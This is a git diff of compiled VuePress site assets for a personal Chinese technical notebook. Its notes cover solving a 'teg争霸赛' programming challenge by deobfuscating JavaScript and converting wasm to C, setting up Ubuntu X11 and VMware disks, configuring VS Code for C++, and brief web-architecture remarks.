t=JSON.parse('{"key":"v-57e15916","path":"/ops/sudo.html","title":"sudo","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/sudo.md"}');export{t as data}; diff --git "a/assets/teg\344\272\211\351\234\270\350\265\233.html-KE1DSMKT.js" "b/assets/teg\344\272\211\351\234\270\350\265\233.html-KE1DSMKT.js" new file mode 100644 index 0000000..8c74de8 --- /dev/null +++ "b/assets/teg\344\272\211\351\234\270\350\265\233.html-KE1DSMKT.js" @@ -0,0 +1,223 @@ +import{_ as n,o as s,c as a,a as p}from"./app-x8p6wK6B.js";const t={},e=p(`class:A,B,C,D, +current class: A +current class: B +current class: C +current class: D + +
# teg争霸赛
# 第一关 刷到10000
直接返回a 即可
# 第二关
看js 返回a*a+a 即可
# 第三关 20201021
将js看懂后改写
+window = {} + +var bl5 = ['A5473788']; +(function (bl1, bl2) { + var bl4 = function (bl3) { + while (--bl3) { + bl1['push'](bl1['shift']()); + } + }; + bl4(++bl2); +}(bl5, 496)); + + +var _0x23fc = function (bl1, bl2) { + bl1 = bl1 - 0x0; + var bl4 = bl5[bl1]; + return bl4; +}; + +window[_0x23fc('0x0')] = function (bl6) { + var bl9 = 199999; + + for (var bl8 = 0; bl8 < 199999; bl8++) { + var bl7 = 0; + //for (var bl10 = 0; bl10 < bl8; bl10++) { + // bl7 += bl6['a'][0]; + //} 这里循环删掉 + bl7 += bl6['a'][0] * bl8; + + if (bl7 % bl6['a'][2] == bl6['a'][1] && bl8 < bl9) { + bl9 = bl8 + break + } + } + return bl9; +}; + +console.log(window.A5473788) + +
# 第四关 20201022
原始代码直接放node里面, 报错,
一点点剥皮后发现node 里没有window 对象, 加上即可
+window = {} + +window.setTimeout = setTimeout + +window.A593C8B8 = async (b106) => (($, b106, b105, b104, b103) => { + + let b102 = function* () { + while ([]) yield[ (b106, b105) => b106 + b105, (b106, b105) => b106 - b105, (b106, b105) => b106 * b105] [++b105 % 3]['bind'](0, b104, b103) + }(); + + let b101 = function (b102, b101, b100) { + b103 = b102; + b104 = b101["next"]()['value'](); + + b105 == b106['a']["length"] && b100(-b104) + + }; + // return new Promise(b105 => b106['a']['forEach'](b104 => $["setTimeout"](b103 => b101(b104, b102, b105), b104))) + + + return new Promise(b105 => { + + b106['a']['forEach'](b104 => { + setTimeout(b103 => { + b101(b104, b102, b105) + },b104/50) + + }) + + }) + +})(window, b106, 0, 0, 0) + +
可以运行,但是很慢, 搞懂后, 在延时处 b104/50 即可
# 第五关 20201023
这关用的wasm
https://www.wasm.com.cn/docs/semantics/
+(module + (func $Math.min (;0;) (import "Math" "min") (param i32 i32) (result i32)) + (func $Math.max (;1;) (import "Math" "max") (param i32 i32) (result i32)) + (func $Run (;2;) (export "Run") (param $var0 i32) (param $var1 i32) (result i32) + (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32) + local.get $var0 + local.set $var2 + local.get $var1 + i32.const 1 + i32.sub + local.tee $var4 + if + loop $label1 + local.get $var2 + local.set $var3 + i32.const 0 + local.set $var6 + i32.const 10 + local.set $var7 + loop $label0 + local.get $var3 + i32.const 10 + i32.rem_u + local.set $var5 + local.get $var3 + i32.const 10 + i32.div_u + local.set $var3 + local.get $var5 + local.get $var6 + call $Math.max + local.set $var6 + local.get $var5 + local.get $var7 + call $Math.min + local.set $var7 + local.get $var3 + i32.const 0 + i32.gt_u + br_if $label0 + end $label0 + local.get $var2 + local.get $var6 + local.get $var7 + i32.mul + i32.add + local.set $var2 + local.get $var4 + i32.const 1 + i32.sub + local.tee $var4 + br_if $label1 + end $label1 + end + local.get $var2 + ) +) + +
https://github.com/WebAssembly/wabt
wasm 转c, 然后编译时加上 Ofast 优化 即可
gcc a.c -o a.out -Ofast
`,21),o=[e];function c(l,i){return s(),a("div",null,o)}const k=n(t,[["render",c],["__file","teg争霸赛.html.vue"]]);export{k as default}; diff --git "a/assets/teg\344\272\211\351\234\270\350\265\233.html-O4OxJDqO.js" "b/assets/teg\344\272\211\351\234\270\350\265\233.html-O4OxJDqO.js" new file mode 100644 index 0000000..a933f5c --- /dev/null +++ "b/assets/teg\344\272\211\351\234\270\350\265\233.html-O4OxJDqO.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-7d01c4b5","path":"/notebook/teg%E4%BA%89%E9%9C%B8%E8%B5%9B.html","title":"teg争霸赛","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"第一关 刷到10000","slug":"第一关-刷到10000","link":"#第一关-刷到10000","children":[]},{"level":3,"title":"第二关","slug":"第二关","link":"#第二关","children":[]},{"level":3,"title":"第三关 20201021","slug":"第三关-20201021","link":"#第三关-20201021","children":[]},{"level":3,"title":"第四关 20201022","slug":"第四关-20201022","link":"#第四关-20201022","children":[]},{"level":3,"title":"第五关 20201023","slug":"第五关-20201023","link":"#第五关-20201023","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/teg争霸赛.md"}');export{e as data}; diff --git a/assets/ubuntu_x11.html-Qjrg3K8h.js b/assets/ubuntu_x11.html-Qjrg3K8h.js new file mode 100644 index 0000000..f41381f --- /dev/null +++ b/assets/ubuntu_x11.html-Qjrg3K8h.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-1160d8a3","path":"/ops/ubuntu_x11.html","title":"ubuntu_x11","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"启动方式","slug":"启动方式","link":"#启动方式","children":[]},{"level":2,"title":"遇到的问题","slug":"遇到的问题","link":"#遇到的问题","children":[{"level":3,"title":"无法显示中文","slug":"无法显示中文","link":"#无法显示中文","children":[]},{"level":3,"title":"无法输入中文","slug":"无法输入中文","link":"#无法输入中文","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/ubuntu_x11.md"}');export{l as data}; diff --git a/assets/ubuntu_x11.html-vAk25k69.js b/assets/ubuntu_x11.html-vAk25k69.js new file mode 100644 index 0000000..44a8b8e --- /dev/null +++ b/assets/ubuntu_x11.html-vAk25k69.js @@ -0,0 +1,7 @@ +import{_ as a,o as s,c as n,a as e}from"./app-x8p6wK6B.js";const t="/assets/20221017105043746_29382-EW-14mL8.png",i="/assets/20221017105049326_26966-WlMfoEfL.png",r={},l=e('+#include <stdio.h> +#include <stdlib.h> +#include <limits.h> + unsigned max(unsigned a,unsigned b){ + if (a>b) + return a; + else return b; + } + + unsigned min(unsigned a,unsigned b){ + if (a<b) + return a; + else return b; + } + + +int _Run(int _p0, int _p1) { + int _l2 = 0, _l3 = 0, _l4 = 0, _l5 = 0, _l6 = 0, _l7 = 0; +// FUNC_PROLOGUE; + int _i0, _i1, _i2; + + + _l2 = _p0; + _i0 = _p1; + _i1 = 1u; + _i0 -= 1; + _l4 = _i0; + if (_i0) { + // printf("i0 = %d\\n",_i0); + _L1: + + _i0 = _l2; + _l3 = _i0; + _i0 = 0u; + _l6 = _i0; + _i0 = 10u; + _l7 = _i0; + _L2: + // printf("i0 = %d\\n",_i0); + _i0 = _l3; + _i1 = 10u; + // _i0 = REM_U(_i0, _i1); //有符号求余数 + _i0 = _i0 % _i1; + _l5 = _i0 ; + _i0 = _l3; + _i1 = 10u; + // _i0 = DIV_U(_i0, _i1); //向下整除 + _i0 = _i0 / _i1; + _l3 = _i0; + _i0 = _l5; + _i1 = _l6; + _i0 = max(_i0, _i1); + _l6 = _i0; + _i0 = _l5; + _i1 = _l7; + _i0 = min(_i0, _i1); + _l7 = _i0; + _i0 = _l3; + _i1 = 0u; + _i0 = _i0 > _i1; + if (_i0) {goto _L2;} + _i0 = _l2; + _i1 = _l6; + _i2 = _l7; + _i1 *= _i2; + _i0 += _i1; + _l2 = _i0; + _i0 = _l4; + _i1 = 1u; + _i0 -= _i1; + _l4 = _i0; + if (_i0) {goto _L1;} + } + _i0 = _l2; +// FUNC_EPILOGUE; + return _i0; +} + +int main( int argc, char *argv[]){ + // int dd = _Run(211814391, 6301083); + // printf("%s,%s",argv[1],argv[2]); + int dd = _Run(atoi(argv[1]),atoi(argv[2])); + //211814400 + printf("%d",dd); + + return 0; +} + +
# ubuntu_x11
# 启动方式
moye用户
先启动xterm
然后sudo pycharm.sh启动pycahrm
# 遇到的问题
# 无法显示中文
73 apt install x11-apps 74 exit 75 xclock 76 exit 77 apt install xinit 78 xterm & 79 apt install xterm 80 xterm & 81 exit 82 apt install gtk2-immodule-xim 83 apt install fcitx
# start_pycharm.sh +export XIM_PROGRAM=fcitx +export XIM=fcitx +export XMODIFIERS=@im=fcitx +export DEPENDS=fcitx +/home/moyechen/pycharm-2022.2.3/bin/pycharm.sh +
# 无法输入中文
暂时未解决
`,13),p=[l];function c(o,d){return s(),n("div",null,p)}const m=a(r,[["render",c],["__file","ubuntu_x11.html.vue"]]);export{m as default}; diff --git "a/assets/url\351\207\215\345\256\232\345\220\221.html-0RgneqCm.js" "b/assets/url\351\207\215\345\256\232\345\220\221.html-0RgneqCm.js" new file mode 100644 index 0000000..5348340 --- /dev/null +++ "b/assets/url\351\207\215\345\256\232\345\220\221.html-0RgneqCm.js" @@ -0,0 +1 @@ +import{_ as t,o as s,c as r,b as e,d as o}from"./app-x8p6wK6B.js";const _="/assets/20200414193656801_9782-A3TGyBfn.png",a={},c=e("h1",{id:"url",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#url","aria-hidden":"true"},"#"),o(" url")],-1),n=e("p",null,[e("img",{src:_,alt:"google变百度"})],-1),l=[c,n];function d(i,u){return s(),r("div",null,l)}const f=t(a,[["render",d],["__file","url重定向.html.vue"]]);export{f as default}; diff --git "a/assets/url\351\207\215\345\256\232\345\220\221.html-57srkQ1H.js" "b/assets/url\351\207\215\345\256\232\345\220\221.html-57srkQ1H.js" new file mode 100644 index 0000000..3afe68b --- /dev/null +++ "b/assets/url\351\207\215\345\256\232\345\220\221.html-57srkQ1H.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-171fb32c","path":"/notebook/url%E9%87%8D%E5%AE%9A%E5%90%91.html","title":"url","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/url重定向.md"}');export{t as data}; diff --git "a/assets/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html-BDfp_wEd.js" "b/assets/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html-BDfp_wEd.js" new file mode 100644 index 0000000..c05537c --- /dev/null +++ "b/assets/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html-BDfp_wEd.js" @@ -0,0 +1,13 @@ +import{_ as e,o as t,c as i,a}from"./app-x8p6wK6B.js";const n="/assets/20220728154343100_23767-GfAGAFuL.png",s={},l=a(`# vmware虚拟机硬盘调整
vmware 调整硬盘大小
https://www.cnblogs.com/ZHJ0125/p/12904471.html 安装gparted
x11授权 sudo xauth add $(xauth -f ~moyechen/.Xauthority list|tail -1)
如果遇到
+moyechen@moye:~$ sudo xauth add $(xauth -f ~moyechen/.Xauthority list|tail -1) +xauth: timeout in locking authority file /home/moyechen/.Xauthority +xauth: timeout in locking authority file /home/moyechen/.Xauthority + + +
则执行
rm ~/.Xaut* +exit +再次登录时,会提示 +/usr/bin/xauth: file /home/moyechen/.Xauthority does not exist + +然后创建该文件 +
https://superuser.com/questions/315050/xauth-x11-ssh-forwarding-errors-with-xauthority-file-not-writable
最后启动程序
sudo gparted
LVM
https://blog.csdn.net/Fly_1213/article/details/105142427
lvextend -L 80G /dev/mapper/ubuntu--vg-ubuntu--lv
resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv
',16),r=[l];function d(u,o){return t(),i("div",null,r)}const m=e(s,[["render",d],["__file","vmware虚拟机硬盘调整.html.vue"]]);export{m as default}; diff --git "a/assets/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html-LlXHLqrq.js" "b/assets/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html-LlXHLqrq.js" new file mode 100644 index 0000000..5ccaa5b --- /dev/null +++ "b/assets/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html-LlXHLqrq.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-087e08e6","path":"/ops/vmware%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A1%AC%E7%9B%98%E8%B0%83%E6%95%B4.html","title":"vmware虚拟机硬盘调整","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/vmware虚拟机硬盘调整.md"}');export{e as data}; diff --git "a/assets/vscode\346\233\277\344\273\243codeblock.html-QvZWRnPv.js" "b/assets/vscode\346\233\277\344\273\243codeblock.html-QvZWRnPv.js" new file mode 100644 index 0000000..2fdc842 --- /dev/null +++ "b/assets/vscode\346\233\277\344\273\243codeblock.html-QvZWRnPv.js" @@ -0,0 +1,8 @@ +import{_ as e,a as s}from"./20200216004851429_31590-ycX-VYgZ.js";import{_ as o,o as c,c as t,a as d}from"./app-x8p6wK6B.js";const p="/assets/20200216005034283_6861-hoVHTvC9.png",a="/assets/20200216164012830_18992-4J4_TkRN.png",i="/assets/20200216001653735_883-IQNkpcp5.png",r="/assets/20200216153319843_23184-3ZlR-OOz.png",n="/assets/20200216153545000_7574-O4HmZ0GH.png",l="/assets/20200216153609444_2629-ixahf16v.png",m="/assets/20200216154035988_9536-02LS7Lye.png",_="/assets/20200216154144431_6911-SPeYXN50.png",u="/assets/20200216154222027_24290-6_tTy4lT.png",h="/assets/20200216154335434_2501-StwAyUTR.png",g="/assets/20200216154747896_13220-aBXmIC1D.png",v="/assets/20200216154959017_19426-XDkjvjMW.png",b="/assets/20200216161057865_16709-Qp-cWsyF.png",x="/assets/20200216161132880_26553-09cgfzSI.png",f="/assets/20200216161321957_23988-DgbbbMPg.png",q="/assets/20200216162855158_2094-r5FBiv_f.png",k={},C=d('# vscode替代codeblocks
时间 作者 2020/2/16 16:54 moyechen code block 这款ide在acm比赛中非常常见, 但是鉴于本人有以下需求
- 代码补全
- 一个方便的文件管理树
- 自定义代码模板
- 编译后生成的可执行文件(.exe) 定时清理
因此,本人折腾了文本编辑器 -- vscode
# 准备工作
首先下载vscode
官网链接: https://code.visualstudio.com/
接着,将编译器的目录添加到环境变量 如果你有code::blocks 可以参考以下:
打开code::blocks
复制蓝色内容,然后加上
\\bin
例如
C:\\Program Files (x86)\\CodeBlocks\\MinGW\\bin
, 记为compiler_path
变量接着,添加到系统环境变量
这里, 第六步我们输入
C:\\Program Files (x86)\\CodeBlocks\\MinGW\\bin
(如果你的code::block是默认安装的话,否则,请你使用刚刚拼接的字符串compilar_path
)如果你没有code::block, 请你自行将g++编译器添加到环境变量
# 测试编译器是否可用
按住win键,然后输入r,在弹出的框中输入cmd
此时会打开一个黑框框
输入g++
如果出现下图,这说明编译器准备完毕
# vscode配置
# 插件安装
安装好后, 点击左侧栏第5个按钮,依次安装下方3个插件
▼
code runner
(在输入框输入code runner进行搜索)▼
中文插件
在输入框输入
chinese
进行搜索以及
C/C++
插件提示: 安装完毕后, 请重新启动vscode
# vscode 初体验
重启过后, 我们打开一个文件夹
然后右键,新建文件,输入文件名,这里我输入的是test.cpp
接着,我们输入一个测试代码,可以看到, vscode已经可以智能补全了
输入完毕后, 右击输入区域, 点击第一项
Run Code
,可以在下方看到输出这表示我们已经可以使用了
但是这个输入区域无法接受输入, 也就是我们无法拿测试用例进行调试
# 解决输出区域无法输入的问题
我们将代码调试放在终端(之中,终端可以接受输入,就解决了这个问题
我们需要增加以下几条设置
首先, 打开setting.json
之后, 输入一条
"code-runner.runInTerminal": true,
Ctrl + S
保存后重启vscode, 重新运行代码, 可以看到已经可以输入了# 生成文件放在固定目录,减少硬盘占用
默认设置中,生成的文件和代码文件同目录, 也就是说,对于每一个代码,我们都要生成这么一个.exe文件
一个.cpp 代码文件一般不会超过5kb, 但是一个可执行文件一般是 1mb左右
这不但增加了磁盘空间的负担,同时也使我们文件管理非常的混乱
使用以下操作解决:
打开
setting.json
添加这几条内容"terminal.integrated.shell.windows": "C:\\\\WINDOWS\\\\System32\\\\cmd.exe", + "code-runner.executorMap": { + "cpp": "cd $dir && g++ -o D:\\\\temp.exe \\"$fileName\\" -std=c++11 && D:\\\\temp.exe" + } +
这些代码的意思:
- 第一行表示指定使用的终端为cmd, win10默认使用的PowerShell 语法与Cmd 的语法不大相同,我们选择熟悉的Cmd
- 第二行表示执行代码是运行的命令,我们分开解析这条命令
cd $dir
, 进入代码所在的目录g++ -o D:\\\\temp.exe \\"$fileName\\" -std=c++11
, 使用c++11的标准编译你当前编辑的文件,然后生成可执行文件到D:\\\\temp.exe
, 可以更改为-std=c++14
以使用更多特性, 或者更改D:\\\\temp.exe
为你喜欢的路径D:\\\\temp.exe
,执行你生成好的可执行文件- 其中
&&
在c/c++语言中是且的意思, 也就是说, 执行完第一步cd $dir
后, 我们才能安全的执行第二步操作,因此使用并且并且连接符紧接着, 我们再添加以下内容:
+ "code-runner.preserveFocus": false, + "code-runner.saveFileBeforeRun": true, +
▲第一行: 运行后光标聚焦在终端 ▲第二行: 运行前自动保存文件
添加后的样子
接着,__重启__VsCode
已经可以使用了
',70),D=[C];function S(y,B){return c(),t("div",null,D)}const F=o(k,[["render",S],["__file","vscode替代codeblock.html.vue"]]);export{F as default}; diff --git "a/assets/vscode\346\233\277\344\273\243codeblock.html-i0KV3h8u.js" "b/assets/vscode\346\233\277\344\273\243codeblock.html-i0KV3h8u.js" new file mode 100644 index 0000000..b4c939c --- /dev/null +++ "b/assets/vscode\346\233\277\344\273\243codeblock.html-i0KV3h8u.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-688e63da","path":"/notebook/vscode%E6%9B%BF%E4%BB%A3codeblock.html","title":"vscode替代codeblocks","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"准备工作","slug":"准备工作","link":"#准备工作","children":[{"level":3,"title":"测试编译器是否可用","slug":"测试编译器是否可用","link":"#测试编译器是否可用","children":[]}]},{"level":2,"title":"vscode配置","slug":"vscode配置","link":"#vscode配置","children":[{"level":3,"title":"插件安装","slug":"插件安装","link":"#插件安装","children":[]},{"level":3,"title":"vscode 初体验","slug":"vscode-初体验","link":"#vscode-初体验","children":[]},{"level":3,"title":"解决输出区域无法输入的问题","slug":"解决输出区域无法输入的问题","link":"#解决输出区域无法输入的问题","children":[]},{"level":3,"title":"生成文件放在固定目录,减少硬盘占用","slug":"生成文件放在固定目录-减少硬盘占用","link":"#生成文件放在固定目录-减少硬盘占用","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/vscode替代codeblock.md"}');export{e as data}; diff --git "a/assets/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html-1tLRHQAN.js" "b/assets/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html-1tLRHQAN.js" new file mode 100644 index 0000000..c2993c6 --- /dev/null +++ "b/assets/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html-1tLRHQAN.js" @@ -0,0 +1 @@ +import{_ as t,o as _,c as o,b as e,d as s}from"./app-x8p6wK6B.js";const n={},c=e("h1",{id:"vue修改数组内的对象",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#vue修改数组内的对象","aria-hidden":"true"},"#"),s(" vue修改数组内的对象")],-1),l=e("blockquote",null,[e("p",null,"https://blog.csdn.net/weixin_43368335/article/details/102801013")],-1),a=e("blockquote",null,[e("p",null,"https://juejin.im/post/6844903901175496711")],-1),i=[c,l,a];function r(d,u){return _(),o("div",null,i)}const p=t(n,[["render",r],["__file","vue修改数组内的对象.html.vue"]]);export{p as default}; diff --git "a/assets/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html-Zshm8zZm.js" "b/assets/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html-Zshm8zZm.js" new file mode 100644 index 0000000..879e65f --- /dev/null +++ "b/assets/vue\344\277\256\346\224\271\346\225\260\347\273\204\345\206\205\347\232\204\345\257\271\350\261\241.html-Zshm8zZm.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-0ba06cdc","path":"/notebook/vue%E4%BF%AE%E6%94%B9%E6%95%B0%E7%BB%84%E5%86%85%E7%9A%84%E5%AF%B9%E8%B1%A1.html","title":"vue修改数组内的对象","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/vue修改数组内的对象.md"}');export{e as data}; diff --git "a/assets/web_web\346\250\241\345\236\213.html-XmBvhhvk.js" "b/assets/web_web\346\250\241\345\236\213.html-XmBvhhvk.js" new file mode 100644 index 0000000..d3423ba --- /dev/null +++ "b/assets/web_web\346\250\241\345\236\213.html-XmBvhhvk.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-5a4912c0","path":"/web/web_web%E6%A8%A1%E5%9E%8B.html","title":"[web]web模型","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[web]web模型.md"}');export{e as data}; diff --git "a/assets/web_web\346\250\241\345\236\213.html-gCwItGiF.js" "b/assets/web_web\346\250\241\345\236\213.html-gCwItGiF.js" new file mode 100644 index 0000000..39602fa --- /dev/null +++ "b/assets/web_web\346\250\241\345\236\213.html-gCwItGiF.js" @@ -0,0 +1 @@ +import{_ as n,o,c as t,b as e,d as s}from"./app-x8p6wK6B.js";const _={},c=e("h1",{id:"web-web模型",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#web-web模型","aria-hidden":"true"},"#"),s(" [web]web模型")],-1),i=e("p",null,"常见的python wsgi服务器,以及模型",-1),a=e("ol",null,[e("li",null,"nginx + uwsgi socket + django")],-1),r=e("p",null,"可以开进程线程,但是不懂区别",-1),l=e("ol",{start:"2"},[e("li",null,"nginx proxy_pass + gunicorn")],-1),d=e("p",null,"command = gunicorn -b 0.0.0.0:9004 -w %(ENV_WORKER)s --timeout 20 range_backend.asgi:application -k uvicorn.workers.UvicornWorker",-1),u=[c,i,a,r,l,d];function h(b,w){return o(),t("div",null,u)}const g=n(_,[["render",h],["__file","web_web模型.html.vue"]]);export{g as default}; diff --git "a/assets/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html-CUPLhHz3.js" "b/assets/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html-CUPLhHz3.js" new file mode 100644 index 0000000..2d4c368 --- /dev/null +++ "b/assets/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html-CUPLhHz3.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-1ce7b414","path":"/web/web_%E6%9C%8D%E5%8A%A1%E7%AB%AF%E6%B8%B2%E6%9F%93%E4%B8%8E%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%B8%B2%E6%9F%93.html","title":"[web]服务端渲染与客户端渲染","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[web]服务端渲染与客户端渲染.md"}');export{e as data}; diff --git "a/assets/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html-d2iT7On5.js" "b/assets/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html-d2iT7On5.js" new file mode 100644 index 0000000..12d8903 --- /dev/null +++ "b/assets/web_\346\234\215\345\212\241\347\253\257\346\270\262\346\237\223\344\270\216\345\256\242\346\210\267\347\253\257\346\270\262\346\237\223.html-d2iT7On5.js" @@ -0,0 +1 @@ +import{_ as t,o as _,c as o,b as e,d as s}from"./app-x8p6wK6B.js";const n={},l=e("h1",{id:"web-服务端渲染与客户端渲染",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#web-服务端渲染与客户端渲染","aria-hidden":"true"},"#"),s(" [web]服务端渲染与客户端渲染")],-1),c=e("p",null,"大学时,老师教了jsp,使用的是模版引擎",-1),h=e("p",null,"在我第一次写web应用时,使用的后台是django,django支持模版引擎渲染,但是我觉得非常恶心,因为他要把html和模版语言写在一块",-1),a=e("p",null,"当时写的是内部网站,不需要seo,使用html写完代码以后,其中获取数据的部分使用jquery的ajax动态获取",-1),d=e("p",null,"后来编写博客的时候,用到vnote以及衍生品viki,viki使用js在前端将md文档渲染为html,非常好用,但是缺点是搜索引擎无法识别动态内容 借此机会,了解了一下服务端渲染和客户端渲染 现在pc上的老牌网站,例如淘宝,在2013年左右使用的是php,将php嵌入到html中,通过php调用函数,渲染html,在2014年,淘宝改为使用nodejs的中间层技术",-1),i=e("blockquote",null,[e("p",null,"淘宝、天猫首页技术从Node.js 换回PHP了么? https://www.zhihu.com/question/54777923")],-1),r=[l,c,h,a,d,i];function p(u,m){return _(),o("div",null,r)}const w=t(n,[["render",p],["__file","web_服务端渲染与客户端渲染.html.vue"]]);export{w as default}; diff --git "a/assets/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html-8KA7vgn8.js" "b/assets/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html-8KA7vgn8.js" new file mode 100644 index 0000000..737c2f5 --- /dev/null +++ "b/assets/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html-8KA7vgn8.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-6099f3b2","path":"/web/web_%E8%A3%85%E9%A5%B0%E5%99%A8%E6%A8%A1%E5%BC%8F%E5%9C%A8canvas%E9%87%8C%E7%9A%84%E5%BA%94%E7%94%A8.html","title":"[web]装饰器模式在canvas里的应用","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[web]装饰器模式在canvas里的应用.md"}');export{e as data}; diff --git "a/assets/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html-tqEN9jbM.js" "b/assets/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html-tqEN9jbM.js" new file mode 100644 index 0000000..3a33a90 --- /dev/null +++ "b/assets/web_\350\243\205\351\245\260\345\231\250\346\250\241\345\274\217\345\234\250canvas\351\207\214\347\232\204\345\272\224\347\224\250.html-tqEN9jbM.js" @@ -0,0 +1 @@ +import{_ as s,o as a,c as _,a as e}from"./app-x8p6wK6B.js";const t="/assets/20220221181054219_1470266552-JVSSjxaF.png",c="/assets/20220221181100943_1823097082-9a4ulm3V.png",n="/assets/20220221181107838_495981778-XBC-v5cr.png",r={},o=e('# [web]装饰器模式在canvas里的应用
',4),i=[o];function p(l,m){return a(),_("div",null,i)}const h=s(r,[["render",p],["__file","web_装饰器模式在canvas里的应用.html.vue"]]);export{h as default}; diff --git "a/assets/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html-_7-Ppzp6.js" "b/assets/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html-_7-Ppzp6.js" new file mode 100644 index 0000000..a8bebf3 --- /dev/null +++ "b/assets/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html-_7-Ppzp6.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-7dfc8bcb","path":"/notebook/3D%E5%BB%BA%E6%A8%A1/webodm%E9%85%8D%E7%BD%AE%E5%AE%89%E8%A3%85.html","title":"webodm配置安装","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"moyechen 23.9.24","slug":"moyechen-23-9-24","link":"#moyechen-23-9-24","children":[{"level":3,"title":"步骤1 wsl2配置","slug":"步骤1-wsl2配置","link":"#步骤1-wsl2配置","children":[]},{"level":3,"title":"步骤1 安装docker desktop","slug":"步骤1-安装docker-desktop","link":"#步骤1-安装docker-desktop","children":[]},{"level":3,"title":"ubuntu nvidia驱动配置","slug":"ubuntu-nvidia驱动配置","link":"#ubuntu-nvidia驱动配置","children":[]},{"level":3,"title":"步骤3 拉取项目文件","slug":"步骤3-拉取项目文件","link":"#步骤3-拉取项目文件","children":[]},{"level":3,"title":"步骤4 启动","slug":"步骤4-启动","link":"#步骤4-启动","children":[]},{"level":3,"title":"mipc杂项","slug":"mipc杂项","link":"#mipc杂项","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/3D建模/webodm配置安装.md"}');export{e as data}; diff --git "a/assets/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html-efDH4Tm-.js" "b/assets/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html-efDH4Tm-.js" new file mode 100644 index 0000000..87dc7df --- /dev/null +++ "b/assets/webodm\351\205\215\347\275\256\345\256\211\350\243\205.html-efDH4Tm-.js" @@ -0,0 +1,31 @@ +import{_ as e,o as i,c as n,a}from"./app-x8p6wK6B.js";const s="/assets/339666605625810-SRbakhNE.png",d="/assets/44541929951561-LUCbnwYK.png",t={},r=a('# 